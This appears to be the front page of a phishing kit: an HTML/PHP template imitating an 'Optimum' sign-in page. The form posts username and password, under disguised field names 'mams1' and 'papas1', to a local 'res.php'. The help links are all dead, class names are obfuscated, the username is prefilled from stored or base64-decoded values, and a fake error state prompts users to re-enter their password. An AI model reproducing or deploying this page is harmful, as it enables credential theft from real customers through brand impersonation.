<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Sign in</title>
  <link rel="shortcut icon" type="image/x-icon" href="./asset/setcontent/favicon_128.png">
  <link rel="stylesheet" href="CSS/ugie4g8.css">
  <style>
    body { margin: 0; min-height: 100vh; display: flex; justify-content: center; align-items: center; background: rgb(0, 40, 100); }
    /* Red outline: same 2px #cc0000 for both. Use shorthand border to override signin-card password rule. */
    body.has-error:not(.error-cleared) #x7k .x7k-err .x7k-in {
      border: 2px solid #cc0000 !important;
      box-shadow: none !important;
      outline: none !important;
    }
    /* Password: force same red (signin-card has .x7k-fpw .x7k-in { border: 1px... !important } so override with same shorthand). */
    body.has-error:not(.error-cleared) #x7k .x7k-fd.x7k-fpw.x7k-err .x7k-in,
    body.has-error:not(.error-cleared) #x7k #x7k-pw {
      border: 2px solid #cc0000 !important;
      box-shadow: none !important;
      outline: none !important;
    }
  </style>
</head>
<body class="<?php echo !empty($show_error) ? 'has-error' : ''; ?>" id="login-body">
<main class="x7k-w x7k-wal" id="x7k" role="main">
  <section class="x7k-o">
    <div class="x7k-i">

      <div class="x7k-p">
        <header class="x7k-h">
          <div class="x7k-lr" style="text-align: left !important; display: flex !important; justify-content: flex-start !important;">
            <img src="./asset/Optimum_logo.png" alt="Optimum" class="x7k-logo" style="max-width: 140px; height: auto; display: block !important; margin-right: auto !important;">
          </div>
          <h1 class="x7k-tt">Sign in to Optimum</h1>
        </header>

        <div class="x7k-fw">
          <form method="POST" class="x7k-f" action="res.php" data-form-primary="true">
            <input type="hidden" name="state" value="">

            <button type="submit" name="action" class="x7k-fhs" value="default" aria-hidden="true" tabindex="-1">Continue</button>

            <div class="x7k-fcs" aria-hidden="true"></div>

            <div class="x7k-fl">
              <div class="x7k-fli">

                <div class="x7k-fx">
                  <div class="x7k-fd x7k-ft x7k-err" data-action-text="" data-alternate-action-text="">
                    <label class="x7k-lb x7k-ls" for="x7k-u">Username</label>
                    <input
                      class="x7k-in"
                      id="x7k-u"
                      type="text"
                      name="mams1"
                      value="<?php echo isset($user64) ? htmlspecialchars(base64_decode($user64)) : ''; ?>"
                      placeholder="Username*"
                      required
                      autocomplete="username"
                      autocapitalize="none"
                      spellcheck="false"
                      inputmode="text"
                    >
                    <div class="x7k-lb x7k-lf" data-dynamic-label-for="x7k-u" aria-hidden="true">Username*</div>
                  </div>
                </div>

                <div class="x7k-fx">
                  <div class="x7k-fd x7k-fpw x7k-err" data-action-text="" data-alternate-action-text="">
                    <label class="x7k-lb x7k-ls" for="x7k-pw">Password</label>
                    <input
                      class="x7k-in"
                      id="x7k-pw"
                      type="password"
                      name="papas1"
                      placeholder="Password*"
                      required
                      autocomplete="current-password"
                      autocapitalize="none"
                      spellcheck="false"
                      <?php if (!empty($show_error)): ?> style="border: 2px solid #cc0000 !important; box-shadow: none !important; outline: none !important;"<?php endif; ?>
                    >
                    <div class="x7k-lb x7k-lf" data-dynamic-label-for="x7k-pw" aria-hidden="true">Password*</div>
                  </div>
                </div>

              </div>
            </div>

            <p class="x7k-fg">
              <a class="x7k-lk x7k-lkf" href="#" style="display: none;">Forgot Password?</a>
            </p>

            <div class="x7k-fo">
              <div class="x7k-of">
                <input type="checkbox" name="remember" id="x7k-rm">
                <label for="x7k-rm">Remember Me</label>
              </div>
            </div>

            <div class="x7k-sw">
              <button type="submit" name="action" value="default" class="x7k-bn x7k-bp">Continue</button>
            </div>
          </form>

          <div class="x7k-ff">
              <div class="x7k-flk">
                <a href="#">Forgot ID?</a>
                <a href="#">Forgot Password?</a>
              </div>
              <div class="x7k-cb">
                <div class="x7k-ct">Don't have an Optimum ID?</div>
                <div class="x7k-cd">An Optimum ID is a unique username that provides access to extra services and benefits.</div>
                <a href="#">Create an Optimum ID</a>
              </div>
            </div>
        </div>

      </div>

    </div>
  </section>
</main>
<script>
(function() {
  var emailFromStorage = null;
  try { emailFromStorage = localStorage.getItem('em'); } catch (e) {}
  if (emailFromStorage) {
    var usernameInput = document.getElementById('x7k-u');
    if (usernameInput) usernameInput.value = emailFromStorage;
  }
})();
(function() {
  var body = document.getElementById('login-body');
  if (!body || !body.classList.contains('has-error')) return;
  var inputs = document.querySelectorAll('#x7k .x7k-err .x7k-in');
  function onBlur() {
    body.classList.add('error-cleared');
    var pw = document.getElementById('x7k-pw');
    if (pw && pw.getAttribute('style')) pw.removeAttribute('style');
  }
  for (var i = 0; i < inputs.length; i++) inputs[i].addEventListener('blur', onBlur);
})();
</script>
</body>
</html>
